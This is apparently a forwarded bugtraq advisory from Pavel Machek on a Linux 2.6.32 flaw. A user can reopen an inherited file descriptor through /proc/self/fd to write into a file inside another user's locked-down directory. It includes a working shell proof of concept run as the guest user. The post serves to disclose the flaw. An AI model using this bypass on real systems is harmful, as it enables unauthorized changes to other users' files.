/proc Filesystem Directory Permission Bypass

`Hi!  
  
This is forward from lkml, so no, I did not invent this  
hole. Unfortunately, I do not think lkml sees this as a security hole,  
so...  
  
Jamie Lokier said:  
> > > a) the current permission model under /proc/PID/fd has a security  
> > > hole (which Jamie is worried about)  
> >   
> > I believe its bugtraq time. Being able to reopen file with additional  
> > permissions looks like a security problem...  
> >   
> > Jamie, do you have some test script? And do you want your 15 minutes  
> > of bugtraq fame? ;-).  
  
> The reopen does check the inode permission, but it does not require  
> you have any reachable path to the file. Someone _might_ use that as  
> a traditional unix security mechanism, but if so it's probably quite rare.  
  
Ok, I got this, with two users. I guess it is real (but obscure)  
security hole.  
  
So, we have this scenario. pavel/root is not doing anything interesting in  
the background.  
  
pavel@toy:/tmp$ uname -a  
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux  
pavel@toy:/tmp mkdir my_priv; cd my_priv  
pavel@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file  
# lock down directory  
pavel@toy:/tmp/my_priv$ chmod 700 .  
# relax file permissions, directory is private, so this is safe  
# check link count on unwritable_file. We would not want someone   
# to have a hard link to work around our permissions, would we?  
pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file   
pavel@toy:/tmp/my_priv$ cat unwritable_file   
this file should never be writable  
pavel@toy:/tmp/my_priv$ cat unwritable_file   
got you  
# Security problem here  
  
[Please pause here for a while before reading how guest did it.]  
  
Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.  
  
So what did happen? User guest was able to work around directory  
permissions in the background, using /proc filesystem.  
  
guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file   
# Running inside nested shell  
guest@toy:~$ read A <&3  
guest@toy:~$ echo $A  
this file should never be writable  
  
guest@toy:~$ cd /tmp/my_priv  
guest@toy:/tmp/my_priv$ ls  
unwritable_file  
  
# pavel did chmod 000, chmod 666 here  
guest@toy:/tmp/my_priv$ ls  
ls: cannot open directory .: Permission denied  
  
# Linux correctly prevents guest from writing to that file  
guest@toy:/tmp/my_priv$ cat unwritable_file  
cat: unwritable_file: Permission denied  
guest@toy:/tmp/my_priv$ echo got you >&3  
bash: echo: write error: Bad file descriptor  
  
# ...until we take a way around it with /proc filesystem. Oops.  
guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3   
  
Pavel  
--   
(english) http://www.livejournal.com/~pavelmachek  
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html  
  
----- End forwarded message -----  
  
--   
(english) http://www.livejournal.com/~pavelmachek  
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html  
`